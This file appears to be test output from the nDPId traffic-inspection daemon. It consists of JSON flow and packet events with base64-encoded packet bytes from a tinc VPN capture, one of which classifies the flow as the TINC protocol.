+02061{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":28290,"pkt_caplen":1270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1270,"pkt_l4_len":1236,"pkt":"ABcILL3nACbGCvpSCABFAAToAABAAEARdrODcqgbuVPacNln2WcE1Md1yFCI7gfwONXyvS0LzJWHp67rNLhDUs8NmY2WEqMzKfZfNlfaF8I5m8IX\/qjKc8HNNt79hPGrLFoVT\/wKFoeabFipVapxNkNAn06TsxtL76udh2GTNiBobsHrMUxUatxX7ChBU5WIXY0zLuvvdWlnVruvvuQZs+8iMi5hCIJdL\/ZthYwUR39Ckd3sYy+jwxHgM6m68nonTOVk38M1gAoKqua+yLBTpABqLhSfgA5IP6jycCURUFwO0sIziGhG8YhbOMzuIYPJYDS2AfQELbej0wXsbhzOXUiE7zGJqzLqtkyH10s2kA\/SvOiel1hN0zZ6nQz8Z1EyFqkR5zrYWX3QJeWsg9r0WOiAkBpmB57DNfm6UIWe8EPkTqoqyo9zLis+tqhUKUFe1P7bypeVYrzjyuz5sNKOeSf\/XIj4tfKnd7MgDqWEWtoM+X5At+1r\/XOXON9MxLvRqO1Gxz2PTjm7am\/qXZGmSzitIWsM4C+7hg4qSV4CRiDykT4ixX8ISwEnC6Mq+1RpuHM6evYUEydtebFDd+zZWYNNPMihlNh1ufkCIdIHgZrk1ZlN2TRwF40AP2WYai6yTbnavSsmJMZgGZJ2oWCGIL4PIxuvSNqDjD7HcFoIdiLgkv4SJdnVl7kDPGDZ9oDDVipAw7kQYzpKM04oXk65fW6GPAS2w53jGqrBAuNbGz+85AlBCZCMsLaN9kTOj\/VuGgQwo\/pyEUTDczM7mUw7MQ\/qvwbsH5U96wX4iucIAPeP0TanEk228ZuL7yUexiK\/3osOKgdBTCC1Zg82BunSJVUbfre1gC7aw6vEeFOGP0iZQECeXtbNvhfnBufw1hCujyyNiriBpLncaiehP\/+u2LyBzhZ1h25nexu9V8DWoLMKyuCNa+B6jMmGVWWuL8y3z7eFMooO1efxIucGCrRpJBX5hAxa3flLCsaEGv05NewwFZHevLKX1S3xHmMFfOs8cKrTqnU0+Dv5U8eiFWFpBHjviyvTx\/918zL1QBOtV\/NT54IElh+WgmMzYeyTLD4L6JQIfJ4sy81He8zYA48j3\/v8vIti\/UD935yon1+urNPDB0+p6A\/LjrD+J6F62bH6WHQ9bfI7DoiKxFnqf3xL4SOp3fxIO6CY6O3cbnj28eLg\/K\/3NS31YVQEbFA1eb+oEoApxQY+SqU+LzRr7qFY3NhXykXFKN0jOc3760NVwxflnpdHA+rRdwtZ57rS3970eYBrAy5\/koQrzi4B0KgW41gg5Ok3AIZor7\/toywc7ZiH\/+hlP36SRGJA6Ry4\/kj6TVC3Ii5KzFkmpCtijjHmsgEF3wHI2xLMz7s8nbdJIL6Ee2oBH5qM2ptGv\/0PrHyJJG5ex4p\/kjKo08Yx7SR1Ega7I4NvhjW23cRE7ggU8yP2bam9EliUyTvTNU6R35QxpqwqTnC5cNIFC7X+yg5eI6kzpYygG1GY5vJYnp8mtVoSth9E\/uWKaQaZnmrxM8jH9Scs0CD3Bm5C9KeV9Qny+8X8M3JeDUGP2baBFHU7rguVVCZDSXGtPWo\/D1B2vgIk8F64nPucbvsP6c9wkNh0S9XH2TF\/2thLZ6BoRdvPhC1MITb+yHAo9h+M0RlMxu46Vfam0TK9pKgOEFhN1QeYa5fQepcBUg=="} +00595{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":28358,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"ABcILL3nACbGCvpSCABFAACwAABAAEAReuuDcqgbuVPacNln2WcAnN1v0uZKyPoWmaubuwZrIQBPO+BqMoVUkv\/hXTpUG6K+XH0RKW47XY\/1dEVD\/1oKU1zJQuD+UbQTXTTcm\/XGMVH2egj98VF2+e1yRSUyyMFvQM8in43T+5TOL5BOto9WZIIukzfdgAM\/MAqqBoNXxicKkAa4Pjceo2sJdl+39BnWaa0WeqsWYldgt7dyN7jFWOadS+UHzA=="} +02108{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":28595,"pkt_caplen":1310,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1310,"pkt_l4_len":1276,"pkt":"ABcILL3nACbGCvpSCABFAAUQAABAAEARdouDcqgbuVPacNln2WcE\/M+z\/A+v15K5vi1TlODQqqyeVx2PsUKhOBlNo0ASn+kPzo4yYOZDxj\/KB7osmthLQDNVgmgHa1KJ8K4VOr9uM3hlgvXixOGtD1dUUxMI\/mf52syZlFTfMQaDAUxoJkg\/dyR9o9zv9XsLg0VE0Ao80noky4cl\/QLXZO\/Xl4CRTBZLAfOyg6LGGUCiZNNGufOcOvbWiyfPbG\/NdeKujL\/6zI9504j\/6L1QghKr3gjYidqeSnT3sucogyEq9+JaNTFWh3kaMgvD2ByFKtm30vtEZGCd7+AFwDUxeSNBQbgx8yRCYAQSz5vG4rdt8NjGN9WObHWswWpXj+BHNGS0imMrkM7crqAHbB0S4DLwa5jXZS4oKQRHGZhL9DV9XlEEtNUu4qf203LEn+1UpBJj7+i4gNLnpXKPjK2PImTf75M\/bkLkM30TBV0HRcCGZ7tS4CJJeVRCYneJCCBQN3AyXMqZ\/1iAfdNmJJOZlVS7uwV+QFr7D+BLKqYA5xHetHAh+vuUzqnmyfLVOU\/04RuNSgP1yqy+Hkv0INArmLm\/jZuvLJw9\/XREJjoLZpQ6DyVPUhq89G4ivzkV2xa5Ks5MkhcatclSbJDPsZJPEsRafkKDuZTtMaNnWF74ctsMoEEAu9pReb+rgzLIeNdGnuq0RaloZARo+fqlmsWLgVi7IGQv9Qb+O2gQPQhMsnw6jo3WLBvqK1fHppCrAx+9\/IvAdwSGkpWfmunYECarxJih35IzmfbQdoQ2ldzr+dCEe2BXZ6rxIwtZDyO\/8zXUmA9G375qYLc+ZVhi4pRrsQhwo9rFBmqkrGZbFVQXtG1hL3lPY24uBYilLmtTShkrjr4WFNjuioSY06uukla0Ip+9fgusG7ZhQkGgExvahk9ZgBy0GcIspbOOaCvUdJZNvwfTxkFzpwzRhZPhXRrQcVovS4xjDU5qtzjsl2az\/MXBmBCpECf46ZOpYf03S3P\/DEl9oDtE5uFTz48+oI2579PGwIZh6TGy8iT2uupCXtNqvT9XLuOJfVQLun4TAE2AyW+5FeePHrzGni29dudzqAgNj1YOQESGOFTDextwC500gwERBxHBKaycr9kSvQiA46V6els\/W9Qy3Xj5wtFlLm1IRpscPmYn4aAau2HaDE9FlgFzNoyJLXv+MYgoQKNczqgLy6ak+e84ZhGrJHPd\/dI0sHtv5Sdofx7RVBpoE1lV04zqaKTkxgS4sDxgZFK447fjlOnsc7lXmo209Nhxsx+R7XQToC4NdYRXN8qws1o+TkVHTMnf3x5pJPkBm+KJep1DmciFUTGRBPcDloioOXJNiIigtppDM2YhpretPOtWjG9huCUCpInaTa+DRtyO72xBva2cVZz+2g5FOJX9YHw0Lvz+PrmZD01Po1hhj389h0kyfJ66ZB8KoQg8pxg8hWabn0KROtFJsNkrR8j8jmrigFFKZLsR2xxBxiT9YNeuhRlx4BfyYxCaqthxpSwxNc5VhcDHyxya9oeakAa6WUPlzXo8mgwXYpHSdyaAjUCYJ\/4XtNaYRert+MxqXiQe3fuu0411CFmjldi9PEh2twt4XksN2sJWuDeSKk1EBB5zVnYe6RXqFWq1dcFkUSCPos\/lzj3ufCZRVUlNyJlqS2pans1zNKDYxfacEul7dY7e7qJPG267ybYwx8T1tkbF7f5PKUOTsuQbvfyuWcw="} +02339{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":28776,"pkt_caplen":1478,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1478,"pkt_l4_len":1444,"pkt":"ABcILL3nACbGCvpSCABFAAW4AABAAEARdeODcqgbuVPacNln2WcFpPF55U7zeXasbGebKK48P4totka3WHI5a69\/DBLYM7krRYkERhDmCcIwYzAiEyC\/iSy9RhwhHaMDncfNMwE4N4PVlT+i5f1BqYYXrFwMxAwC2AymzCG+3q+nKhO1CAUduKcZWemJ3M2VJZWIectFzGJ+ENEom3wOmh\/KcIH\/pzYwg5HYDYflLlpYALRF7eC8dav29GEEADfshdl+0sz6TLltcRhNG5Yv5j9XH3TmOewktXRFRKSgwvwWRby9JS94kwyseggJE0bOnQa5yI2O7y7iMENUUz6Wa4XPWK+kE8ro2zciNCew5ui8ZiR\/3+Do8\/TIqrhnwwoXx\/5c3AEmyLuITMi4qMzZjmFv+Gj3UnqYNCtJb37JeDTI7SK8z38V1BlvlQXWLlh220XuW4pg6NHJyWdRmwsCsokZBkfZmFZ1ZlcXQKDj3mCYwiUWnEES0iRIPZLrZrrGBmfktfQKainl5\/1TAXEnK9s5PsCr0QhfssIJl8x9YWyz9fbIj1sLTXM21LhBhRs8yC0w2Lhws53Dp9qrcZkK2YtOhcTa7Sv6zIAQBYyiide1OtvncrosvDMQt\/Lr4ULKkHxM6iTW+FN\/AoSQVJ\/B2eh9NNpceDtZzWlZdLp31+XSoXvtSvqX9dZYx3Fm0Z0jDrn2SXsU4COn66XepnzA5iKXWuWCXlq8GGppI8yFbtQ3fOBFGX0GY04yiYyL1BxCqOcBR4lm3PBfB5cksN8aQbsjwZ72ymKjfMRvNIIokryf4wjpe6XAHj+C+057jO993OdKOIXUAvwFmwoZ30ysGif\/m5RVuRtL8HGKAWHcVJDT1mkRik1isXu5F3\/vQ67n1GtDPMvQq0OZ7N+X5WkoEXbFebX\/smXz18aV5tFzOrZYSEHMnIQkgwi++Xn90M2st96GI7xvNgSS5E5h0rXRdkpSgnwyTtNMMxo+hxEOxgRB2q13V3T3UYqFc7DfNVDmuVhkvKArrdIJIhBjQ56noBxh+sjp4AoJ87E0T\/OIw+yIloQX+w\/uMtsid6wJitYhW2rCBhQnsJYcY3hMAVv6GlPtnqnnzKWFwgJ3ZaERL8A1salS2ahavWHey797gPNCef5xHc7313H\/3vWykMnqPR6lzs5788d\/DHagINOwkRwV9lF+3kwp1h8rVq\/44skW+EsvvON8RYfmg\/eiNksV6EFhf8KvwcICb6denOm\/VCp8VdpfLsKD3\/3sXPZ0Q8fqWXNQXROTnsJ1nHGXe37\/cfOkNOLT6+DAGmKEURKrvA\/qunfBZik5Pfp8Fb0wkm1eE6vXAAmQ48lSpwHSdnVvIF7ApxmVvfrI7NiZsAxkJoQMj1327yDtDljQOygwbRX0HpQnb05vrxffHF3AZgfan+x9q2NIUGq7x0HthLVI5eciZsKI4FYSG+vgHDkSgFz3haf5EZaAGTIlRRtXrVjVYpISkJ4+EgJ32Ki1jgG5rHWPwo4Fg5Zjl3rBcTP0rttVSL5khQLqwRVwPYf\/GRdU7UqNjybQWN\/Xo+8cXHSyUGq3FhX4K6M2gMVgtOOFdBnlxTcIzxYQSu2UIeonfQtiWiPjTOx1mTDF6gcuvt8FLZt1hVwk6rPfjlgkFu241DEefRby71n0Q4R8ANpYLQ82a+aed4x41VCy3qFALKuUTAjDaghMysGl+fk1hQGdWPoobCX30FaShKRd49Rk1sx2A0w4\/DBrfjrkGgeJigZa+paqLmBCBqfy8HlnOYfF+9R+pNX5cJ8BSpetpugI6ooOqQqZQDRKWa8qfM191JxXVIwMBkUstSSHyXi+P8At6XB2fkAlducfrKz8HuqCoJNE7QrYmjIZSSu8AthYiDFa+qRgwrD2lFB7pWR8wsC5MSTWZsRycmTsAnNoAQ0msTyQ\/dCTJNp40H5\/5ATYyCzFCBZLoyiodLg="} +01381{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":28902,"pkt_caplen":774,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":774,"pkt_l4_len":740,"pkt":"ABcILL3nACbGCvpSCABFAAL4AABAAEAReKODcqgbuVPacNln2WcC5NYNMthrCBmbVcLDzx04GEaMBSJLDJLDYwwTtxER12czIPzvLWnK7TS2inmdofowfj\/GBA00qd7fFhWAZK0lO8txWM21Pnmlz5TtQTOL3eQ9AAyMMtiOA+aJtu86\/2KX2bJBXt1gfdemRkHUZHnW5XcVhDVYLp0elJOpWJP\/fPb2TTUEwLA8V9TT6UkDNzjtgeyVMkkPJ7dFLvdQYO\/LeD7rk7qUIRl6uTk3Ig8lrTZ16KCNAlDMRGZ39Q2Whby0KMKv3dIKKx8AfZmgo3MVoN7p08ehD\/kxHv6GuQ75AmHdEu1kJLfl06abggE+JDSOl2USp1ONL6t\/AAOQr9C+5aq7ie+oWaCvqGopfd\/BbBLdIK8kj221POsOjTNzLAOoaBG9snasbtYoPzkZEgPHUwldH39tI78ITonPV1GPVA9ZLiJCpjDTnFVh2CKybBHYh55UlQtmnc97O64hKTB250XxmSR9TyoTgniaJ4Vx+o2imnr9JOHdkM\/pcxizRNdixyx9BMACk3nlKD7FR8sMHaPzpWcilYoiqfI0AttvIcjhRqks6\/xKNa8FDZpKNsFscBWgUUwSaF71jJCyanex2xWz59dkYB+70kKsZcXTwWBLPBDUL3ZJ7PfNcnM2roS\/eF25pB6lVgZLj5gIYTk4JeDBjLizEynGHrVwKQj253i3GJZyyWmOjeMsYhoh4qYCaJxABqLFcLS\/CIqhc0XX8dbtkRxCKZL0Q+wOnH48pgGijYre0pSYNZPfnFs90\/NkSH8T6Zzjt8PVMtqa5NgHLGt+9fkSmsNIhltNPsecMqNtWZ3altiiXNyzIclAEEtxPto3JcCz0S0zNOYFypCtGYOjtx1sAFrCsQwLXkg\/0PtytHYcqK153MPFl3f3KtFfLOZDrflmjPzA8D0H5yDHRR19+MTe72Fzw8+RxTBKEARpsUky45xVVbcuEn8lA\/CXc0fP4TtFkUa9UQeq5VWX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"tinc.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1495983428043,"flow_last_seen":0,"flow_tot_l4_data_len":732,"flow_min_l4_data_len":732,"flow_max_l4_data_len":732,"flow_avg_l4_data_len":732,"midstream":0,"l3_proto":"ip4","src_ip":"185.83.218.112","dst_ip":"131.114.168.27","src_port":55656,"dst_port":55656,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01366{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":43218,"pkt_caplen":766,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":766,"pkt_l4_len":732,"pkt":"ACbGCvpSABcILL3nCABFCALwAABAADERh6O5U9pwg3KoG9lo2WgC3AOYwHfE3coRkd9vFWAurZs8jstTwnXw\/cqsx5iKbKA7woGOpEZiStAKTCSRoKp6x6\/f9Zs+BpTFgPOcyy5YAMcbffaGjwWOnT8IyeKE5n34quupOTS2uuRjCtyNCFAo8WTnSMzbi32PyJcywIUxEUQ8liTYbPgKdwTgaiP\/Hotm1mtwLDTs7hG08UqSbcXCWXNFFVPEK47MaPqwoPn2dh7mqibglI+NUfYKog17NTDVZj+waYLvcDN9j2XoImkNzUjCipW9K3ac4j70R5PFggHU36XlCSNZ2XhIjFKM00nQGI+QLoteQ8j0aZAsrLXLYsxqqK4SvGoYgma1olbSPh2W15iEFnVNfCrkhO342UfUtRpoqO2eSyqwBMxkb1F3H2m0kYUJQotA5znx3A5M2I2cLV97Zq1M5s2yfOsVLnemh3YMo8DmxGOnynqe4PdTcIIYCFlTuvlbJxcoz46oqoG4DHCRlF0dlntPGix0TitI5D\/n0YiE5bQQUU7gqIMYrd\/038O+j7JziwNwLqI9ZUNuZRL5RgmChAbYY5TtTaE7r+CtYmugTK7qdhtdAytq+kIRcuZJxzW2e+QHOyzQjzCE7aIMnqFyw73cJLJvOafzGqDIWsdusVXsa7JkhE0L2HSLACJvLruZU6SO95zxggRtnzTruoO2bZQpKHl56KP7dWrprSH\/BtWoA8QYIMdKrZ11e6dVhhfntSzlJ7oOBRzS82PQtcxITPaQUBY7kloV6nEsD123\/RYWvYnnlopmrLjY88pZllsFaRoYa+q+rxj125r8cCXiXcb20crMWSrxvWF5gSaLraJg0iySCfa0N+9TIxFXdaISLPrnQJf+KFNsm71eDJSNCihlQD114v9gJdrqDDh2zOpIECten2AFkK5gz9Y9P\/m15B6u92mwRdXwhBzI10R26F6x1VA2OCcHHQ90EjxcfGr9C9BCt8qY+zJFJYvpTw=="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"tinc.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1495983428043,"flow_last_seen":0,"flow_tot_l4_data_len":732,"flow_min_l4_data_len":732,"flow_max_l4_data_len":732,"flow_avg_l4_data_len":732,"midstream":0,"l3_proto":"ip4","src_ip":"185.83.218.112","dst_ip":"131.114.168.27","src_port":55656,"dst_port":55656,"l4_proto":"udp","ndpi": {"proto":"TINC","breed":"Acceptable","category":"VPN"}} +02350{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":43268,"pkt_caplen":1486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1486,"pkt_l4_len":1452,"pkt":"ACbGCvpSABcILL3nCABFCAXAAABAADERhNO5U9pwg3KoG9lo2WgFrCCQQfVUKnrm4XUK3wfxxn8qlQ5ZlUxAsin94OmtvvCqeiNDv9hCgysXgIe\/Jwp6foEgyUgSLwbFE+jFX5EiTbzvLxw+eE+9kkIbIypcFMAA862am\/h5EhYX9oyZgZit\/ohLFdBZAd\/9piW+TIg1JYKUHUk24mSNhkzehqNGbaa8v1XNXvCAKUf+je80JL2ztiSjDNtOMrbTSNyuOyDQhbbpaRAakKCJ88rhmRVZWPpGUvSoCLUQLdy+ls4UP9VbLIv60yNlhG\/tIZF+Y9AgYJgNK7469NXCZUoHPgebmwGoSIBvEupGZ2HWMq5tD1YtSNLd5mdcZ4U6bdW57PJT8Mqpobu5nNKCEUTKU8fv54QllT27onCmdTrjSLU7i56qGCPKz8Pmgpd+4MU1sOXlteqk11G5kxvUePU9AHDMWVZcDsBw+8w6+Ab\/JxYo4ilYPsOkX7nL+VL0USjj5AuG8wFeeDnvZeQURQeN12MuZewRpRzkJa5jIqIQqHHvEIR3I+NlcYV0IJXsrpavQ6RSGtYmR7+94hoEShFxTK6D2mPtrdLiAqRfmJptPiSWLm5Mqo0iayfkgY6sd6M1vwIpwRPc0qQOtn1doDjup9IIauyzdANQF9x2voU4Z8dsvHyVyVE9VF\/Qdb\/Bbe15\/vrLpOF+cB00\/TXrJ07AVZHqEwel\/iScs2S9kgqiIjzb1T0G6y8xlHQV7ktrErMlC4GXnRqlxWayYa4G266nN6wc0wTy9MD7G5DpqxUPZwZIrxZiMHXc4mPXA210XTsNG7LVVQM581lStiGr1a4pUZOImjoO\/gk5frgMuu6jHFgEA+vJuy5sW5lQpb37IXQqFXKKxN2z8Ke+x4zy7ALHVigelzuNCf3HZfol1uD4eeP+2tpVITMiH4O5PCcLDMT1yYFhbvLg8pREkBITQB+rUBzFhHXEVteh6noPH6hIRkDIrLyfEHdswFs6MATwSlSxKkz0QuaSV8BEXCeHOM+JmmNRCgSmcHuzwrDdDGG7eSF7kzVOXV4KPQtBdbB4rq\/rFfGJFSiBXn2huFIeNdQhj4gFtDQIfYjXMsmhSsrScwjLj7C7jg2Rwm\/XuhfLgws3rBZC6s4ClAl8Lku7gDzAWOdYgK2FafJmEnZR3NXAFEI8JF5r5ITwwBATJADMcv7GO51VLOgFAuacu5w0kk1gxapzbHcSOdPeKJB+9voPecizTzqOKMuqIngnpb\/qfLXWqnLz7U6\/\/ui4aHgWF+lKp0xsjiPYD9YnVxFJE08oruybimAl5F4KHctwad6wrnqDh7AMDE3spgEO04z6pL2VZXL\/wvq6pxHL80kORMsGZgPOmyHtPCRE5Jd+RFgmwBejwRrNJFCuLc2P622GjZ1t\/hPuud14khvjnfHdyfKsl19iLyzwv7qu0oEoiwBrYf06g7MzcULZl4XUxJNSE9RYU15rJmRxguh4eXuIOqgIqrfkbI\/\/vDyBWYyc45utTloDIm+GnDiAeigtPF4FijLPE9qVDfQilPuHMnf6UDvllbgNqo19g3gnmLroqXep+7LyRYp4sWr4\/d\/TZKaCucaaCwVm1u\/1te\/n+aOftes5xygxK+OaKehbJ47nnj4GJRcueg7KFHNq2ES0Uj1Rh2+lhguZLWYwLh4\/FPK0vdBcca9l29F4kxSaDHn6BeoZpX+wivGn5jMTbID2EPugYpELm+yXQDHU1W7JBJkdRRhJfBWIKo8UZofXK4qgL2\/MqCqF2T2\/hEjt9sAO7DVGx2T23++65+kzCDH2qiAfrQdQFlN08V17FGkydmcJibPSSbSe7aLjPjiXuGdc7ip\/LMmiTS0sCJq6zHCBk5aHilHCEqmTl+eL9Q9vwrMeAdX+cTIhD7xTxK6aeGzriTEJFQi6+ZDkO2+SfJZlZhRSLhc55JEaOH4LdN2VABhAfw=="} +01633{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":43295,"pkt_caplen":958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":958,"pkt_l4_len":924,"pkt":"ACbGCvpSABcILL3nCABFCAOwAABAADERhuO5U9pwg3KoG9lo2WgDnO+CxkvMU5czu375VqRfqLEu7HGryDGh\/bfeaQJnEYyovrmntDxt74C8PKQJMHvY4MA1ZHuHhnLJLLc7h764zEbGLw\/vzqsaP4XOJmX3J5ZoXTmAMsXnjvJUPqVeWdg0PXJhqa6st9hNynxv5D0rpJqm0\/zV192qcE59jCUVvmB8PfyMGzNb8iu7j79YvIHCzFHzmycvx5sIdKuzv+9aaD2+9O1fWAuPwq8\/8DIg8DeQB7htbL3\/j6lwDGupSOVHCsI1+lYyNr8A5\/OFujJsJCBzKGXQVn+oJRoQMsFgr0giRTOfhVQb+GlZOLXTcVvxl6mNiWSoDQXoxAfPuixrlp8F\/MUrFtVqJYJIqlWUSZ0FHJzKiXJ5yQvwNmnsvYHqMQNW6ZCn++1tGEto8r5tq\/BDe0FvMAOQC\/Iq49d9xjtHRJaZkPSuUT0Ue8\/0Y0g7e7MLBCNRDp3pFvP\/SDROeSBv+1Hrsd3VgZ3eZsdET6SE7O+jiB1npy8XRuCERu\/h5FlX8FbvbKHJP4IXbapoGYosv9tEU2XONo65wz3MCF\/bVbrUPcOASb6j+c55C5rFZMKjA9llC2lki+5ox8NX3C0rsVb9ezbzAq4pvwBxx6yeMVlmBhRxjwXLWviN6bjb8+kKUMxdeqvtFZ90hWLG3av8x5N1D1shhjp\/Pkh3vfzESwJoedvps7xxuR16c9ku4Rlje1SzPbiXWLLd2ctB3NoWHVeTFrvLRU2yqM5LNXQpjLOWYVqndimokWzm3PvfsX2+ickLKvqhiNB8NMbCQKKllVtQtaf37M0W3hxij8fNqkfQ3Dwvv36xYQY6aA2cxZJ7cAJfgWt3+2IqzsbQ\/hOa1lDnl8uliASJ4hjXOWhi4prZ86H1uoSeDR53SAlBdMQQ3YoaLSv6kQQOXAUwHuZQi7+x\/RE5HfoAvVeNzG90OcOnL2uiCxjhyp3\/swc9NGfoqhpvTPlS\/HF6E4gzQu+uwm3Kmj7AsKixik3ciIBb6VqLoyiaQR35wKSQydm3qyc2A8RxVwJEHM9ChZNid+PGF9MC3cdjsTP6IG4AOw3VS8jLQznT38vyJvgWelWwQ+I9gJ2zh8MbfaLP+EWNQPI478wMYlCsuyg5uNNDg0lSF1epToqo6+lky+h2nAa21hKOviRtVRN8LV88QPWbYJx4n3gM4sg9yVPde6y+bdl\/hYGe1J5JIAW7OGyTqN+C43dvapKXMw=="} +01268{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":43356,"pkt_caplen":686,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":686,"pkt_l4_len":652,"pkt":"ACbGCvpSABcILL3nCABFCAKgAABAADERh\/O5U9pwg3KoG9ln2WcCjG9uLSN6qXd28O84810Rge15GEeg7I\/PEgDJNw1y0g+1jdG27MHxxE17GuT0dBFp72NMdvJQ4dCHD37hVYCYAm1tHtZ4x3kRkiZShykNzD6SHFVZP2VGXotnLrS3zmLuLDSn3Fsu77lKpW83i\/IBUxe1ZnUERXYl9d6KTABMLAnv8cl2TsNOD11THWQ75915qDQQi3tze6l5YoWqdfZ7PU81w+J3yKCLkqKFq3dhYGgRcCPFxJlv2Zk9WZs4pamJKvKKl\/3y59Rp1kl6arMtRrQM+c4YwLwanNOag6QHFB\/DFxxWcWJvvy4sCRBQA8kXLk2VpQbAMn9n4bKUUZvxQFZHpM2eh9wffSxs19AyFKi0nfwtC4hzoA0RSorHHR9n4Lz8\/EmGfPkRVJ2MTboPZvVnK0rCPTfZPBTPWzXuXbXVvmkVlADw+kI\/ogOXjo0Ry2Pr2xMr+9FhLrW57FqASikRn1f6dfat4ws\/SIQ6OqcO+o\/EwI86BA6wNYVn7ackk\/ur3AD+HYI7ap37ZsItPJB5cP6yTqpdVVb7jDxvIXDj9uG\/GjYiJAl\/HLFEJQpl8PkHHTGLRMbWGu8UefLgh4yU5NgzA+54tuDPIihWpq429PKCFmSSQfyPD0oTCru0cH3S\/p50QBnK3SkvFvQJYWHI68tx64++cijo6aBCv9smucEbCU\/1arPlneOrugavFQ009pfwMHTsRlDhgKf\/Ovu4VH4LuJ79b9dis7a\/hrMjLod5S1cn2kUGAoulKsI8\/A8m8aBZ20db1ncQQzJ9YTAHBS8AemTbgn1G0ImzTyH+q8MOMS8Mv1rLaomE34RpL0RvHpJMERZNL8gSbYni028m22HAcAg="} +01324{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983428,"pkt_ts_usec":43386,"pkt_caplen":734,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":734,"pkt_l4_len":700,"pkt":"ACbGCvpSABcILL3nCABFCALQAABAADERh8O5U9pwg3KoG9ln2WcCvP97u2bQLUbe5xxTuic6m2gApjzySadvGQTwqHl++QHzi02UCNj8AudEN+DKky7ZGU5LqXhbWfD+UjafEb0Bxoryajk9Rown2KWcISHncd3wilj0hBK4IRoBgtsIFXc7cOjyQmYDYaFHXvXPq0wf2ztW1wih6QyXfWYdkPEIqjwbvieAkatbKId0wVAUkAMwVHDA78iTS4dvDqaprcmJhrM4knud2YwxNFsPf2hQG25WPZmdWsDhJQZ7GbtZ3WRWdyPrCnh3ZG90UJ\/wu2dRr1RKv4g6fVAUzgyynU1ALdFg3TIPcQZLc6Qrno2ab5CD8K336hS2iNrUNAlyyVT5GMRMQYXDSeisMAVoPkOBZwUUAC5dJFnFAq+7fC9OI7B3t6NCdW6MdnamGgjGpe6VSp\/ydK5ggr6C2OxRK5mWnMWuO\/OVzz5KsBnXfpBvjhmDpav2pI92xUco8pyYMPGom4s5uUIA9vjmWRpRTQGd8+74UQjNAOHWBtPjzt6xXcG14UF0ItWo6km+C\/KfPSKi\/WjGyDX83BWgYXAYx+\/+90MTheceDP3BWk3D3UbVYhU+ZBUv7eLieLXUtQ1lSf99JWdepiPofbCvqh1hMXA2xphFDNoznXTOC3422V+9tbhi3vEglF9P3yyxqsCtY+IDdfsS6w7jMqMOIiClK1z3GcyTEL8Z25YoVghLvn+mPUGaQZMvgtuVn8KlDzvIc4u92f6M5ciG2hUaWdhTi\/fXDB7eUgAZSC6v2oIiIjKfA7AVMJ4GriE6Se4oohL5JmqenAOcpAWN8j9iFl6KkWchU4TcfHCqxfA3ZO8tMcmHlPOTcWkl4KkMwbLznqiiQb+Ni6gxXcIVCnd4pdTSWpac3kkOaW36KeVKZwFnsT0wM1t3L0Ppkn9yOfUI4AzFVPUlgWr\/B+X\/WKY="} 